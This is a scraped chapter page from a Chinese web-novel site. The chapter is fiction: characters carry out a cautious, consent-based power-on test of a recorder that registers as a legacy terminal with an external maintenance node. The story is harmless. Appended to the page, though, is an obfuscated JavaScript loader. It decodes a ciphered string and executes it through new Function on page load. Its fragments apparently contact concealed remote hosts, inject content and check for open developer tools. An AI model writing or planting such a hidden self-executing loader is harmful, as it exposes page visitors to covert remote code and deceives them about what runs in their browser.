首页
第10章 终端重新在线
返回

第10章 终端重新在线

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    第10章终端重新在线(第1/2页)
    提交映射申请后的第二天下午,设备科给出P-07映射结果。许照拍下的主板批次、无线模块出厂段和烧损二维码残留,三项都落在同一台设备的登记范围内。学校仍没有判定录音笔归谁所有,只确认一个事实:老贺锁柜里的银色录音笔,就是星河计划那台未完成核销的移动校验终端P-07。
    确认函没有写L-04的姓名。资产表只显示P-07曾交由“声学校验角色”使用,结项回收栏空白。角色使用过设备,不等于设备属于角色,更不等于后来所有通信都由那个人发起。
    许照看着确认函末尾的建议。设备科希望做一次受控通电,读取终端自报身份,确认它是否正是三个月前续期请求中的设备。测试自愿,也不以配合换取事故材料。
    方案最初建议由原厂提供诊断程序。沈知微指出,旧楼新模块上的服务标签正属于参与过星河项目的公司;在尚未查清三个月前维护来源前,让同一方单独读取终端,会让证据链重新落回一个无法外部核对的口袋。
    周老师没有反驳。他删去“厂商远程协助”,改为学校自有检修室、本地摄像、原厂仅提供公开参数。厂商若需要解释,可在测试结束后依据原始记录书面回复,不能在现场控制设备。他们还放弃了读取存储内容。P-07映射需要的是开机自报、板号与无线行为,不需要打开沈越留下的任何录音。测试范围因此从“设备诊断”缩成“身份核验”,预计九十秒,最长也不跨过一轮七分钟窗口。
    沈知微没有当场签。她把测试目的、可能联网和停止方式逐项问清,又把方案带回维修店给老贺看。
    老贺先问:“要拆吗?”
    “不拆,不写入,只通电一次。”许照说,“但里面有未知无线模块,可能自行发信号。”
    “能保证不发?”
    “不能。”
    老贺把方案翻到最后。“那就把不能保证的写在前面。”
    他们拟了一页风险说明:设备可能广播身份、接收远端请求或生成新的未来音频;一旦出现非本地启动、写入、擦除或温度异常,立即断开电池并封存。测试不用于恢复内容,也不尝试登入旧项目账号。沈知微以物品来源确认人签署同意,老贺以保管人签署临时移交,许照只负责硬件断电,陆野只看被动频谱。周老师代表设备科记录资产状态。任何一个人喊停,流程便结束。
    次日下午,他们进入设备科的隔离检修室。屋里没有接入校园无线网,手机统一放在门外存物柜。联网的资产查询电脑留在玻璃隔断另一边,与检修台没有数据线相连,由周老师单独操作。老贺和沈知微共同验封、开盒,把录音笔放进透明防护罩。电池通过机械拉杆接通,必要时许照可以不掀罩直接切断。罩内还有温度探头、电压记录器与被动天线,三样都只接收,不向设备发命令。
    通电前,许照在摄像机下核对外壳、接口和封条。他没有重新拆机,只利用上次留下的显微照片确认焦痕没有变化。检修台不连接录音笔的数据接口;独立电池回路只记录供电电压,温度与频谱由非接触探头采集,因此无法读取或改写录音区。陆野给电流记录器设了上限。正常开机峰值来自第一次维修的基线,一旦超过百分之十五便触发红灯。老贺亲手试过机械拉杆,确认断电不依赖电脑,也不需要等待软件响应。所有准备做完,周老师让其余四人复述,自己最后也对镜头读出停止职责。
    陆野用一个公开测试信标校验天线。屏幕出现一条稳定峰值,信标关闭,峰值归零。周老师把校验前后都拍进操作录像,避免事后把房间里原有的无线噪声误认成录音笔发送。
    “测试窗口九十秒。”周老师说,“准备?”
    许照看向沈知微。她没有替任何人回答,只点了自己的那一项。陆野和老贺依次确认,许照才握住拉杆。
    电池接通。录音笔屏幕先显示普通电量图标。第四秒,蓝色指示灯亮起,扬声器里传出一段七分钟后的声音。
    “这不是我们写的。”
    是沈知微的声音。时间戳精确落在七分钟后。陆野在声音响起的一刻启动四百二十秒计时器。
    屋里没人开口猜测她届时会看见什么。陆野只记下波形与时间,许照继续盯着电流。第九秒,电流突然升高,屏幕上的本地电量页被一行英文覆盖。
    P-07。LEGACYAUTHCHECK。
    同一刻,被动频谱上出现一束短促窄带信号。它不在校园Wi-Fi和蓝牙频段内,持续不到半秒,却确实由防护罩里的设备发出。
    “非本地认证,停。”陆野说。
    许照立刻拉断电池。通电十一秒,远低于九十秒上限。屏幕熄灭后,窄带信号没有再次出现。没有人为了看认证结果重新接电。
    周老师封住防护罩,将操作录像、频谱原始文件与电压记录分别写入只读介质。老贺检查录音笔外壳温度,确认没有鼓包或发热,随后在原封条外又加了一层编号。
    “七分钟还没到。”沈知微说。
    “设备已经停了,时间还会走。”许照看了一眼墙上的秒表,“我们等,不安排你说任何一句话。”
    五个人离开检修台,隔着玻璃坐到资产电脑旁。沈知微没有翻材料,也没有尝试让那句声音失效。许照同样没有问她“这”可能指什么。此前受控测试里的半句话已经证明,人越急着提前补全,越容易自己替预测搭好场景。
    周老师刷新资产页。P-07的状态仍是“待核销”。第二次刷新没有变化。通电后的第四分钟,后台审计队列多出一条延迟任务,来源为旧项目网关,内容尚在校验。
    陆野没有碰键盘。那台电脑归设备科,查看权限也在周老师手里。计时六分四十秒时,周老师才按流程打开审计详情。
    独立计时器走满四百二十秒时,页面展开。
    P-07的状态从“待核销”变成“ONLINE”。上线时间正是刚才窄带信号出现的一刻,系统接收端却没有写校园服务器,而是一项名为ECHO-LEGACY的外部维护节点。这里的P-07ONLINE是资产平台接受了旧网关的远端登记,与他们早先在录音笔本地屏幕见过的TERMINALONLINE不是同一层状态。后者只表示机身启动,前者表示外部维护系统已把P-07识别为可管理终端。
    (本章未完,请点击下一页继续阅读)第10章终端重新在线(第2/2页)
    周老师没有只截页面。他导出学校资产系统收到的事务号、服务器时间和签名证书摘要,再请隔壁网络中心的值班男工程师在自己的权限内复核。对方确认状态更新从外部维护接口进入,学校服务器只负责展示,没有代替设备生成“上线”结果。
    证书主体属于星河项目早期测试域,有效期按理在两年前结束,后台却接受了一枚三个月前签发的续期链。续期时间与此前查到的凭证请求一致。证书只能证明某套旧密钥仍被信任,不能证明是谁持有密钥;但“门禁换过模块”和“旧终端突然上线”第一次有了同一条可核验的维护通道。
    值班工程师随即冻结这笔事务的展示副本,原日志由网络中心留存。沈知微取得的是审计编号,不是可以随意转发的后台导出。她把编号写在P-07确认函旁边,两份材料分别由设备科和网络中心保管,任何一方改页,都无法让另一份编号跟着消失。
    页面下方还有一段由旧网关自动生成的状态,不属于他们提交的测试记录。
    SUBJECT-S。SUBJECT-X。CONTACTOBSERVED。
    沈知微看完,开口说:“这不是我们写的。”
    语速、停顿和尾音与七分钟前完全一致。
    许照看着秒表。未来声音已经兑现,主语与对象却仍然缺失。他们没有因为S与X恰好对应两人的姓,便把字段翻译成“沈知微”和“许照”。原始页面没有姓名,这只是目前最容易产生的推测。
    “有别的S和X吗?”周老师问。
    “可能是角色、端口或任意内部代号。”陆野说,“先保留原字段。”
    沈知微把自己的转写纸翻过来,重新写了一遍:设备页面出现S、X,含义未知。她没有把刚才那句“不是我们写的”当成否认声明附上去。预测中的话也是事件的一部分,不能反过来证明页面是谁写的。
    周老师尝试使用资产系统的正常“下线”功能。页面提示P-07受旧项目策略管理,本部门无权修改,只能提交异常状态工单。设备明明已经断电六分多钟,平台却仍把它标为在线。
    “在线可能只是状态没刷新。”许照说,“不代表它现在还在发射。”
    陆野指向频谱记录。断电后没有来自录音笔的新信号,但检修楼外侧出现过两次同频响应,强度很弱,方向不明。它们可能来自某个旧网关,也可能是同频设备。被动天线不能替他们定位,更不能证明节点就在学校。
    周老师把异常工单提升到网络中心与法务留存,要求旧平台不得远程操作P-07。工单自动返回一条限制:设备归属存在争议,平台只能暂停写入,不能由设备科直接删除记录。
    这不是坏结果。至少在下一次授权前,任何清理请求都会留下拒绝日志。
    工单提交三分钟后,旧平台果然发来一次“同步配置”请求,目标包含终端标签与本地缓存索引。网络中心的暂停写入策略将它拒绝,返回码与请求摘要一并进入审计。请求没有成功,他们也无法从摘要判断它是正常上线流程,还是有人想趁终端出现时改掉什么。
    许照把“远端清理”四个字从记录里删掉,换成“未授权同步请求,内容未执行”。风险变得更具体,却还没有具体到足以指认动机。
    老贺要求把录音笔带回维修店继续封存。设备科没有以P-07资产身份扣留,只在移交单上注明“所有权未裁定、现物由原保管人带回”。许照发现这句话比“学校设备”或“沈越遗物”都麻烦,却也更诚实。身份映射解决了技术问题,没有替现实中的物权争议下结论。
    返回维修店的路上,沈知微与许照各走一边,中间是老贺提着的封存箱。谁都没有单独碰它。
    “S和X。”沈知微忽然说。
    “目前只是两个字母。”
    “如果真是我们呢?”
    许照想了想。“那也只是系统怎么叫我们,不是我们是什么。”
    沈知微看他一眼,步幅没有变化。两人仍隔着老贺手里的封存箱。到了维修店,她先检查封条全景是否拍清,再和老贺完成交接。
    卷帘门落下后,陆野把设备科交付的频谱副本接入离线电脑。副本里只有接收记录,不可能保存平台页面。可时间轴末尾,在录音笔断电十七分钟后,又捕捉到一台未知设备发送的短报文。
    报文大部分加密,只有字段名保持明文。陆野没有尝试破解内容,只把能够看见的部分逐项抄下。
    SUBJECT-S。SUBJECT-X。
    许照对应的那一行——如果X确实是他——后面多了一个分类:HIGHVARIANCE。
    高波动。
    陆野在旧项目公开词表里没有找到这个标签。安全模型曾用“高变化率”描述设备电流,却没有“高波动的人”。它可能衡量许照频繁改变预测结果,也可能只是另一项与他无关的端口状态。定义来源没有取得以前,谁都不能拿它解释他的性格。
    沈知微把字母X抄进自己的材料,没有在旁边写许照的名字。“如果它真把你当对象,你要不要退出后面的测试?”
    “要不要退出,由我看现实风险决定。”许照说,“不能因为它写了一行,就照着它替我安排。”
    他说完才发现自己的手一直按着黑伞伞柄。伞没有打开,只是被他从门边拿到了工作台旁。沈知微的目光从他的手移到伞柄,又收了回去。伞仍留在原处。
    状态栏最后写着:INTERVENTIONPENDING。等待干预。
    “这次它没说七分钟后会发生什么。”沈知微说。
    许照看着封存柜。录音笔已经断电,未来声音也完成了闭环。真正还没有闭合的,是另一套系统替他们写下的下一步。
    它没有说明谁会干预,也没有说明干预会以什么形式出现。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();